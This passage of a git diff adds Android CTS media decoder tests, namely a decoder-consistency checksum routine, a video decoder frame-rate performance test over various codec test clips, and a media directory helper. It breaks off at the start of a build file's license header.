+                fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(), wrapFd,
+                useCallback);
+
+        fd.close();
+        compareArrays("inconsistent java decoder", jdata1, jdata2);
+        compareArrays("inconsistent native decoder", ndata1, ndata2);
+        compareArrays("different decoded data", jdata1, ndata1);
+        return 1;
+    }
+
+    private static int[] getDecodedData(FileDescriptor fd, long offset, long size)
+            throws IOException {
+        MediaExtractor ex = new MediaExtractor();
+        ex.setDataSource(fd, offset, size);
+        return getDecodedData(ex);
+    }
+    private static int[] getDecodedData(MediaExtractor ex) throws IOException {
+        int numtracks = ex.getTrackCount();
+        assertTrue("no tracks", numtracks > 0);
+        ArrayList<Integer>[] trackdata = new ArrayList[numtracks];
+        MediaCodec[] codec = new MediaCodec[numtracks];
+        MediaFormat[] format = new MediaFormat[numtracks];
+        ByteBuffer[][] inbuffers = new ByteBuffer[numtracks][];
+        ByteBuffer[][] outbuffers = new ByteBuffer[numtracks][];
+        for (int i = 0; i < numtracks; i++) {
+            format[i] = ex.getTrackFormat(i);
+            String mime = format[i].getString(MediaFormat.KEY_MIME);
+            if (mime.startsWith("audio/") || mime.startsWith("video/")) {
+                codec[i] = MediaCodec.createDecoderByType(mime);
+                codec[i].configure(format[i], null, null, 0);
+                codec[i].start();
+                inbuffers[i] = codec[i].getInputBuffers();
+                outbuffers[i] = codec[i].getOutputBuffers();
+                trackdata[i] = new ArrayList<>();
+            } else {
+                fail("unexpected mime type: " + mime);
+            }
+            ex.selectTrack(i);
+        }
+
+        boolean[] sawInputEOS = new boolean[numtracks];
+        boolean[] sawOutputEOS = new boolean[numtracks];
+        int eosCount = 0;
+        BufferInfo info = new BufferInfo();
+        while(eosCount < numtracks) {
+            int t = ex.getSampleTrackIndex();
+            if (t >= 0) {
+                assertFalse("saw input EOS twice", sawInputEOS[t]);
+                int bufidx = codec[t].dequeueInputBuffer(5000);
+                if (bufidx >= 0) {
+                    Log.i("@@@@", "track " + t + " buffer " + bufidx);
+                    ByteBuffer buf = inbuffers[t][bufidx];
+                    int sampleSize = ex.readSampleData(buf, 0);
+                    Log.i("@@@@", "read " + sampleSize + " @ " + ex.getSampleTime());
+                    if (sampleSize < 0) {
+                        sampleSize = 0;
+                        sawInputEOS[t] = true;
+                        Log.i("@@@@", "EOS");
+                        //break;
+                    }
+                    long presentationTimeUs = ex.getSampleTime();
+
+                    codec[t].queueInputBuffer(bufidx, 0, sampleSize, presentationTimeUs,
+                            sawInputEOS[t] ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                    ex.advance();
+                }
+            } else {
+                Log.i("@@@@", "no more input samples");
+                for (int tt = 0; tt < codec.length; tt++) {
+                    if (!sawInputEOS[tt]) {
+                        // we ran out of samples without ever signaling EOS to the codec,
+                        // so do that now
+                        int bufidx = codec[tt].dequeueInputBuffer(5000);
+                        if (bufidx >= 0) {
+                            codec[tt].queueInputBuffer(bufidx, 0, 0, 0,
+                                    MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            sawInputEOS[tt] = true;
+                        }
+                    }
+                }
+            }
+
+            // see if any of the codecs have data available
+            for (int tt = 0; tt < codec.length; tt++) {
+                if (!sawOutputEOS[tt]) {
+                    int status = codec[tt].dequeueOutputBuffer(info, 1);
+                    if (status >= 0) {
+                        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                            Log.i("@@@@", "EOS on track " + tt);
+                            sawOutputEOS[tt] = true;
+                            eosCount++;
+                        }
+                        Log.i("@@@@", "got decoded buffer for track " + tt + ", size " + info.size);
+                        if (info.size > 0) {
+                            addSampleData(trackdata[tt], outbuffers[tt][status], info.size,
+                                    format[tt]);
+                        }
+                        codec[tt].releaseOutputBuffer(status, false);
+                    } else if (status == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                        Log.i("@@@@", "output buffers changed for track " + tt);
+                        outbuffers[tt] = codec[tt].getOutputBuffers();
+                    } else if (status == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                        format[tt] = codec[tt].getOutputFormat();
+                        Log.i("@@@@", "format changed for track " + t + ": " +
+                                format[tt].toString());
+                    } else if (status == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                        Log.i("@@@@", "no buffer right now for track " + tt);
+                    } else {
+                        Log.i("@@@@", "unexpected info code for track " + tt + ": " + status);
+                    }
+                } else {
+                    Log.i("@@@@", "already at EOS on track " + tt);
+                }
+            }
+        }
+
+        int totalsize = 0;
+        for (int i = 0; i < numtracks; i++) {
+            totalsize += trackdata[i].size();
+        }
+        int[] trackbytes = new int[totalsize];
+        int idx = 0;
+        for (int i = 0; i < numtracks; i++) {
+            ArrayList<Integer> src = trackdata[i];
+            for (Integer integer : src) {
+                trackbytes[idx++] = integer;
+            }
+        }
+
+        for (MediaCodec mediaCodec : codec) {
+            mediaCodec.release();
+        }
+
+        return trackbytes;
+    }
+
+    static void addSampleData(ArrayList<Integer> dst,
+                              ByteBuffer buf, int size, MediaFormat format) throws IOException{
+
+        Log.i("@@@", "addsample " + dst.size() + "/" + size);
+        int width = format.getInteger(MediaFormat.KEY_WIDTH, size);
+        int stride = format.getInteger(MediaFormat.KEY_STRIDE, width);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT, 1);
+        byte[] bb = new byte[width * height];
+        int offset = buf.position();
+        for (int i = 0; i < height; i++) {
+            buf.position(i * stride + offset);
+            buf.get(bb, i * width, width);
+        }
+        // bb is filled with data
+        long sum = adler32(bb);
+        dst.add( (int) (sum & 0xffffffff));
+    }
+
+    private final static Adler32 checksummer = new Adler32();
+    // simple checksum computed over every decoded buffer
+    static int adler32(byte[] input) {
+        checksummer.reset();
+        checksummer.update(input);
+        int ret = (int) checksummer.getValue();
+        Log.i("@@@", "adler " + input.length + "/" + ret);
+        return ret;
+    }
+
+    private static native int[] getDecodedDataNative(int fd, long offset, long size, boolean wrapFd,
+                                                     boolean useCallback)
+            throws IOException;
+}
+
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/VideoDecoderPerfTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/VideoDecoderPerfTest.java
new file mode 100644
index 0000000..ef7646b
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/VideoDecoderPerfTest.java
@@ -0,0 +1,567 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.MediaTestBase;
+import android.media.cts.Preconditions;
+import android.media.cts.TestArgs;
+import android.media.cts.TestUtils;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.MediaPerfUtils;
+import com.android.compatibility.common.util.MediaUtils;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.LinkedList;
+import java.util.List;
+
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(Parameterized.class)
+public class VideoDecoderPerfTest extends MediaTestBase {
+    private static final String TAG = "VideoDecoderPerfTest";
+    private static final String REPORT_LOG_NAME = "CtsMediaDecoderTestCases";
+    private static final int TOTAL_FRAMES = 30000;
+    private static final int MIN_FRAMES = 3000;
+    private static final int MAX_TIME_MS = 120000;  // 2 minutes
+    private static final int MAX_TEST_TIMEOUT_MS = 300000;  // 5 minutes
+    private static final int MIN_TEST_MS = 10000;  // 10 seconds
+    private static final int NUMBER_OF_REPEATS = 2;
+
+    private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final String H263 = MediaFormat.MIMETYPE_VIDEO_H263;
+    private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+    private static final String MPEG2 = MediaFormat.MIMETYPE_VIDEO_MPEG2;
+    private static final String MPEG4 = MediaFormat.MIMETYPE_VIDEO_MPEG4;
+    private static final String VP8 = MediaFormat.MIMETYPE_VIDEO_VP8;
+    private static final String VP9 = MediaFormat.MIMETYPE_VIDEO_VP9;
+
+    private static final boolean GOOG = true;
+    private static final boolean OTHER = false;
+
+    private static final int MAX_SIZE_SAMPLES_IN_MEMORY_BYTES = 12 << 20;  // 12MB
+
+    private final String mDecoderName;
+    private final String mMediaType;
+    private final String[] mResources;
+
+    // each sample contains the buffer and the PTS offset from the frame index
+    LinkedList<Pair<ByteBuffer, Double>> mSamplesInMemory = new LinkedList<Pair<ByteBuffer, Double>>();
+    private MediaFormat mDecInputFormat;
+    private MediaFormat mDecOutputFormat;
+    private int mBitrate;
+
+    private boolean mSkipRateChecking = false;
+    private boolean mUpdatedSwCodec = false;
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] decoders = MediaUtils.getDecoderNamesForMime(mediaType);
+            for (String decoder : decoders) {
+                if (TestArgs.shouldSkipCodec(decoder)) {
+                    continue;
+                }
+                Object[] testArgs = new Object[argLength + 1];
+                // Add codec name as first argument and then copy all other arguments passed
+                testArgs[0] = decoder;
+                System.arraycopy(arg, 0, testArgs, 1, argLength);
+                argsList.add(testArgs);
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}:{3})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                // MediaType, resources, graphics display resolution
+                {AVC, sAvcMedia0320x0240, "qvga"},
+                {AVC, sAvcMedia0720x0480, "sd"},
+                {AVC, sAvcMedia1280x0720, "hd"},
+                {AVC, sAvcMedia1920x1080, "fullhd"},
+
+                {H263, sH263Media0176x0144, "qcif"},
+                {H263, sH263Media0352x0288, "cif"},
+
+                {HEVC, sHevcMedia0352x0288, "cif"},
+                {HEVC, sHevcMedia0640x0360, "vga"},
+                {HEVC, sHevcMedia0720x0480, "sd"},
+                {HEVC, sHevcMedia1280x0720, "hd"},
+                {HEVC, sHevcMedia1920x1080, "fullhd"},
+                {HEVC, sHevcMedia3840x2160, "uhd"},
+
+                {MPEG4, sMpeg4Media0176x0144, "qcif"},
+                {MPEG4, sMpeg4Media0480x0360, "360p"},
+                {MPEG4, sMpeg4Media1280x0720, "hd"},
+
+                {VP8, sVp8Media0320x0180, "qvga"},
+                {VP8, sVp8Media0640x0360, "vga"},
+                {VP8, sVp8Media1280x0720, "hd"},
+                {VP8, sVp8Media1920x1080, "fullhd"},
+
+                {VP9, sVp9Media0320x0180, "qvga"},
+                {VP9, sVp9Media0640x0360, "vga"},
+                {VP9, sVp9Media1280x0720, "hd"},
+                {VP9, sVp9Media1920x1080, "fullhd"},
+                {VP9, sVp9Media3840x2160, "uhd"},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    public VideoDecoderPerfTest(String decodername, String mediaType, String[] resources,
+            @SuppressWarnings("unused") String gfxcode) {
+        mDecoderName = decodername;
+        mMediaType = mediaType;
+        mResources = resources;
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Throwable {
+        super.setUp();
+        Bundle bundle = InstrumentationRegistry.getArguments();
+        mSkipRateChecking = TextUtils.equals("true", bundle.getString("mts-media"));
+
+        mUpdatedSwCodec =
+                !TestUtils.isMainlineModuleFactoryVersion("com.google.android.media.swcodec");
+    }
+
+    @After
+    @Override
+    public void tearDown() {
+        super.tearDown();
+    }
+
+    private void decode(String name, final String resource, MediaFormat format) throws Exception {
+        int width = format.getInteger(MediaFormat.KEY_WIDTH);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        // Ensure we can finish this test within the test timeout. Allow 25% slack (4/5).
+        long maxTimeMs = Math.min(
+                MAX_TEST_TIMEOUT_MS * 4 / 5 / NUMBER_OF_REPEATS, MAX_TIME_MS);
+        // reduce test run on non-real device to maximum of 2 seconds
+        if (MediaUtils.onFrankenDevice()) {
+            maxTimeMs = Math.min(2000, maxTimeMs);
+        }
+        double measuredFps[] = new double[NUMBER_OF_REPEATS];
+
+        for (int i = 0; i < NUMBER_OF_REPEATS; ++i) {
+            // Decode to Surface.
+            Log.d(TAG, "round #" + i + ": " + name + " for " + maxTimeMs + " msecs to surface");
+            Surface s = getActivity().getSurfaceHolder().getSurface();
+            // only verify the result for decode to surface case.
+            measuredFps[i] = doDecode(name, resource, width, height, s, i, maxTimeMs);
+
+            // We don't test decoding to buffer.
+            // Log.d(TAG, "round #" + i + " decode to buffer");
+            // doDecode(name, video, width, height, null, i, maxTimeMs);
+        }
+
+        // allow improvements in mainline-updated google-supplied software codecs.
+        boolean fasterIsOk = mUpdatedSwCodec & name.startsWith("c2.android.");
+        String error =
+            MediaPerfUtils.verifyAchievableFrameRates(name, mime, width, height,
+                           fasterIsOk,  measuredFps);
+        // Performance numbers only make sense on real devices, so skip on non-real devices
+        if ((MediaUtils.onFrankenDevice() || mSkipRateChecking) && error != null) {
+            // ensure there is data, but don't insist that it is correct
+            assertFalse(error, error.startsWith("Failed to get "));
+        } else {
+            assertNull(error, error);
+        }
+        mSamplesInMemory.clear();
+    }
+
+    private double doDecode(String name, final String filename, int w, int h, Surface surface,
+            int round, long maxTimeMs) throws Exception {
+        final String video = mInpPrefix + filename;
+        Preconditions.assertTestFileExists(video);
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(video);
+        extractor.selectTrack(0);
+        int trackIndex = extractor.getSampleTrackIndex();
+        MediaFormat format = extractor.getTrackFormat(trackIndex);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+
+        // use frame rate to calculate PTS offset used for PTS scaling
+        double frameRate = 0.; // default - 0 is used for using zero PTS offset
+        if (format.containsKey(MediaFormat.KEY_FRAME_RATE)) {
+            frameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
+        } else if (!mime.equals(MediaFormat.MIMETYPE_VIDEO_VP8)
+                && !mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            fail("need framerate info for video file");
+        }
+
+        ByteBuffer[] codecInputBuffers;
+        ByteBuffer[] codecOutputBuffers;
+
+        if (mSamplesInMemory.size() == 0) {
+            int totalMemory = 0;
+            ByteBuffer tmpBuf = ByteBuffer.allocate(w * h * 3 / 2);
+            int sampleSize = 0;
+            int index = 0;
+            long firstPTS = 0;
+            double presentationOffset = 0.;
+            while ((sampleSize = extractor.readSampleData(tmpBuf, 0 /* offset */)) > 0) {
+                if (totalMemory + sampleSize > MAX_SIZE_SAMPLES_IN_MEMORY_BYTES) {
+                    break;
+                }
+                if (mSamplesInMemory.size() == 0) {
+                    firstPTS = extractor.getSampleTime();
+                }
+                ByteBuffer copied = ByteBuffer.allocate(sampleSize);
+                copied.put(tmpBuf);
+                if (frameRate > 0.) {
+                    // presentation offset is an offset from the frame index
+                    presentationOffset =
+                        (extractor.getSampleTime() - firstPTS) * frameRate / 1e6 - index;
+                }
+                mSamplesInMemory.addLast(Pair.create(copied, presentationOffset));
+                totalMemory += sampleSize;
+                ++index;
+                extractor.advance();
+            }
+            Log.d(TAG, mSamplesInMemory.size() + " samples in memory for " +
+                    (totalMemory / 1024) + " KB.");
+            // bitrate normalized to 30fps
+            mBitrate = (int)Math.round(totalMemory * 30. * 8. / mSamplesInMemory.size());
+        }
+        format.setInteger(MediaFormat.KEY_BIT_RATE, mBitrate);
+
+        int sampleIndex = 0;
+
+        extractor.release();
+
+        MediaCodec codec = MediaCodec.createByCodecName(name);
+        VideoCapabilities cap = codec.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
+        frameRate = cap.getSupportedFrameRatesFor(w, h).getUpper();
+        codec.configure(format, surface, null /* crypto */, 0 /* flags */);
+        codec.start();
+        codecInputBuffers = codec.getInputBuffers();
+        codecOutputBuffers = codec.getOutputBuffers();
+        mDecInputFormat = codec.getInputFormat();
+
+        // start decode loop
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+
+        final long kTimeOutUs = 1000; // 1ms timeout
+        double[] frameTimeUsDiff = new double[TOTAL_FRAMES - 1];
+        long lastOutputTimeUs = 0;
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int inputNum = 0;
+        int outputNum = 0;
+        long start = System.currentTimeMillis();
+        while (!sawOutputEOS) {
+            // handle input
+            if (!sawInputEOS) {
+                int inputBufIndex = codec.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+                    // sample contains the buffer and the PTS offset normalized to frame index
+                    Pair<ByteBuffer, Double> sample =
+                            mSamplesInMemory.get(sampleIndex++ % mSamplesInMemory.size());
+                    sample.first.rewind();
+                    int sampleSize = sample.first.remaining();
+                    dstBuf.put(sample.first);
+                    // use max supported framerate to compute pts
+                    long presentationTimeUs = (long)((inputNum + sample.second) * 1e6 / frameRate);
+
+                    long elapsed = System.currentTimeMillis() - start;
+                    sawInputEOS = ((++inputNum == TOTAL_FRAMES)
+                                   || (elapsed > maxTimeMs)
+                                   || (elapsed > MIN_TEST_MS && outputNum > MIN_FRAMES));
+                    if (sawInputEOS) {
+                        Log.d(TAG, "saw input EOS (stop at sample).");
+                    }
+                    codec.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                } else {
+                    assertEquals(
+                            "codec.dequeueInputBuffer() unrecognized return value: " + inputBufIndex,
+                            MediaCodec.INFO_TRY_AGAIN_LATER, inputBufIndex);
+                }
+            }
+
+            // handle output
+            int outputBufIndex = codec.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (outputBufIndex >= 0) {
+                if (info.size > 0) { // Disregard 0-sized buffers at the end.
+                    long nowUs = (System.nanoTime() + 500) / 1000;
+                    if (outputNum > 1) {
+                        frameTimeUsDiff[outputNum - 1] = nowUs - lastOutputTimeUs;
+                    }
+                    lastOutputTimeUs = nowUs;
+                    outputNum++;
+                }
+                codec.releaseOutputBuffer(outputBufIndex, false /* render */);
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = codec.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                mDecOutputFormat = codec.getOutputFormat();
+                int width = mDecOutputFormat.getInteger(MediaFormat.KEY_WIDTH);
+                int height = mDecOutputFormat.getInteger(MediaFormat.KEY_HEIGHT);
+                Log.d(TAG, "output resolution " + width + "x" + height);
+            } else {
+                assertEquals(
+                        "codec.dequeueOutputBuffer() unrecognized return index: "
+                                + outputBufIndex,
+                        MediaCodec.INFO_TRY_AGAIN_LATER, outputBufIndex);
+            }
+        }
+        long finish = System.currentTimeMillis();
+        int validDataNum = outputNum - 1;
+        frameTimeUsDiff = Arrays.copyOf(frameTimeUsDiff, validDataNum);
+        codec.stop();
+        codec.release();
+
+        Log.d(TAG, "input num " + inputNum + " vs output num " + outputNum);
+
+        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, "video_decoder_performance");
+        String message = MediaPerfUtils.addPerformanceHeadersToLog(
+                log, "decoder stats: decodeTo=" + ((surface == null) ? "buffer" : "surface"),
+                round, name, format, mDecInputFormat, mDecOutputFormat);
+        log.addValue("video_res", video, ResultType.NEUTRAL, ResultUnit.NONE);
+        log.addValue("decode_to", surface == null ? "buffer" : "surface",
+                ResultType.NEUTRAL, ResultUnit.NONE);
+
+        double fps = outputNum / ((finish - start) / 1000.0);
+        log.addValue("average_fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
+
+        MediaUtils.Stats stats = new MediaUtils.Stats(frameTimeUsDiff);
+        fps = MediaPerfUtils.addPerformanceStatsToLog(log, stats, message);
+        log.submit(InstrumentationRegistry.getInstrumentation());
+        return fps;
+    }
+
+    private MediaFormat[] getVideoTrackFormats(String... resources) throws Exception {
+        MediaFormat[] formats = new MediaFormat[resources.length];
+        for (int i = 0; i < resources.length; ++i) {
+            Preconditions.assertTestFileExists(mInpPrefix + resources[i]);
+            formats[i] = MediaUtils.getTrackFormatForResource(mInpPrefix + resources[i], "video/");
+        }
+        return formats;
+    }
+
+    private void perf(final String decoderName, final String[] resources) throws Exception {
+        MediaFormat[] formats = getVideoTrackFormats(resources);
+        // Decode/measure the first supported video resource
+        for (int i = 0; i < resources.length; ++i) {
+            if (MediaUtils.supports(decoderName, formats[i])) {
+                decode(decoderName, resources[i], formats[i]);
+                break;
+            }
+        }
+    }
+
+    // AVC tests
+
+    private static final String[] sAvcMedia0320x0240 = {
+        "bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz.mp4",
+    };
+
+    private static final String[] sAvcMedia0720x0480 = {
+        "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4",
+    };
+
+    // prefer highest effective bitrate, then high profile
+    private static final String[] sAvcMedia1280x0720 = {
+        "bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4",
+        "bbb_s3_1280x720_mp4_h264_hp32_8mbps_60fps_aac_he_v2_stereo_48kbps_48000hz.mp4",
+        "bbb_s3_1280x720_mp4_h264_mp32_8mbps_60fps_aac_he_v2_6ch_144kbps_44100hz.mp4",
+    };
+
+    // prefer highest effective bitrate, then high profile
+    private static final String[] sAvcMedia1920x1080 = {
+        "bbb_s4_1920x1080_wide_mp4_h264_hp4_20mbps_30fps_aac_lc_6ch_384kbps_44100hz.mp4",
+        "bbb_s4_1920x1080_wide_mp4_h264_mp4_20mbps_30fps_aac_he_5ch_200kbps_44100hz.mp4",
+        "bbb_s2_1920x1080_mp4_h264_hp42_20mbps_60fps_aac_lc_6ch_384kbps_48000hz.mp4",
+        "bbb_s2_1920x1080_mp4_h264_mp42_20mbps_60fps_aac_he_v2_5ch_160kbps_48000hz.mp4",
+    };
+
+    // H263 tests
+
+    private static final String[] sH263Media0176x0144 = {
+        "video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+    };
+
+    private static final String[] sH263Media0352x0288 = {
+        "video_352x288_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp",
+    };
+
+    // No media for H263 704x576
+
+    // No media for H263 1408x1152
+
+    // HEVC tests
+
+    private static final String[] sHevcMedia0352x0288 = {
+        "bbb_s1_352x288_mp4_hevc_mp2_600kbps_30fps_aac_he_stereo_96kbps_48000hz.mp4",
+    };
+
+    private static final String[] sHevcMedia0640x0360 = {
+        "bbb_s1_640x360_mp4_hevc_mp21_1600kbps_30fps_aac_he_6ch_288kbps_44100hz.mp4",
+    };
+
+    private static final String[] sHevcMedia0720x0480 = {
+        "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
+    };
+
+    private static final String[] sHevcMedia1280x0720 = {
+        "bbb_s4_1280x720_mp4_hevc_mp31_4mbps_30fps_aac_he_stereo_80kbps_32000hz.mp4",
+    };
+
+    private static final String[] sHevcMedia1920x1080 = {
+        "bbb_s2_1920x1080_mp4_hevc_mp41_10mbps_60fps_aac_lc_6ch_384kbps_22050hz.mp4",
+    };
+
+    // prefer highest effective bitrate
+    private static final String[] sHevcMedia3840x2160 = {
+        "bbb_s4_3840x2160_mp4_hevc_mp5_20mbps_30fps_aac_lc_6ch_384kbps_24000hz.mp4",
+        "bbb_s2_3840x2160_mp4_hevc_mp51_20mbps_60fps_aac_lc_6ch_384kbps_32000hz.mp4",
+    };
+
+    // MPEG2 tests
+
+    // No media for MPEG2 176x144
+
+    // No media for MPEG2 352x288
+
+    // No media for MPEG2 640x480
+
+    // No media for MPEG2 1280x720
+
+    // No media for MPEG2 1920x1080
+
+    // MPEG4 tests
+
+    private static final String[] sMpeg4Media0176x0144 = {
+        "video_176x144_mp4_mpeg4_300kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+    };
+
+    private static final String[] sMpeg4Media0480x0360 = {
+        "video_480x360_mp4_mpeg4_860kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+    };
+
+    // No media for MPEG4 640x480
+
+    private static final String[] sMpeg4Media1280x0720 = {
+        "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
+    };
+
+    // VP8 tests
+
+    private static final String[] sVp8Media0320x0180 = {
+        "bbb_s1_320x180_webm_vp8_800kbps_30fps_opus_5ch_320kbps_48000hz.webm",
+    };
+
+    private static final String[] sVp8Media0640x0360 = {
+        "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm",
+    };
+
+    // prefer highest effective bitrate
+    private static final String[] sVp8Media1280x0720 = {
+        "bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz.webm",
+        "bbb_s3_1280x720_webm_vp8_8mbps_60fps_opus_6ch_384kbps_48000hz.webm",
+    };
+
+    // prefer highest effective bitrate
+    private static final String[] sVp8Media1920x1080 = {
+        "bbb_s4_1920x1080_wide_webm_vp8_20mbps_30fps_vorbis_6ch_384kbps_44100hz.webm",
+        "bbb_s2_1920x1080_webm_vp8_20mbps_60fps_vorbis_6ch_384kbps_48000hz.webm",
+    };
+
+    // VP9 tests
+
+    private static final String[] sVp9Media0320x0180 = {
+        "bbb_s1_320x180_webm_vp9_0p11_600kbps_30fps_vorbis_mono_64kbps_48000hz.webm",
+    };
+
+    private static final String[] sVp9Media0640x0360 = {
+        "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
+    };
+
+    private static final String[] sVp9Media1280x0720 = {
+        "bbb_s4_1280x720_webm_vp9_0p31_4mbps_30fps_opus_stereo_128kbps_48000hz.webm",
+    };
+
+    private static final String[] sVp9Media1920x1080 = {
+        "bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz.webm",
+    };
+
+    // prefer highest effective bitrate
+    private static final String[] sVp9Media3840x2160 = {
+        "bbb_s4_3840x2160_webm_vp9_0p5_20mbps_30fps_vorbis_6ch_384kbps_24000hz.webm",
+        "bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz.webm",
+    };
+
+    @Test
+    public void testPerf() throws Exception {
+        perf(mDecoderName, mResources);
+    }
+}
+
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/WorkDir.java b/tests/tests/media/decoder/src/android/media/decoder/cts/WorkDir.java
new file mode 100644
index 0000000..3f0a330
--- /dev/null
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.decoder.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaDecoderTestCases-1.1");
+    }
+}
diff --git a/tests/tests/media/drmframework/Android.bp b/tests/tests/media/drmframework/Android.bp
new file mode 100644
index 0000000..bad6a07
--- /dev/null
+++ b/tests/tests/media/drmframework/Android.bp
@@ -0,0 +1,70 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
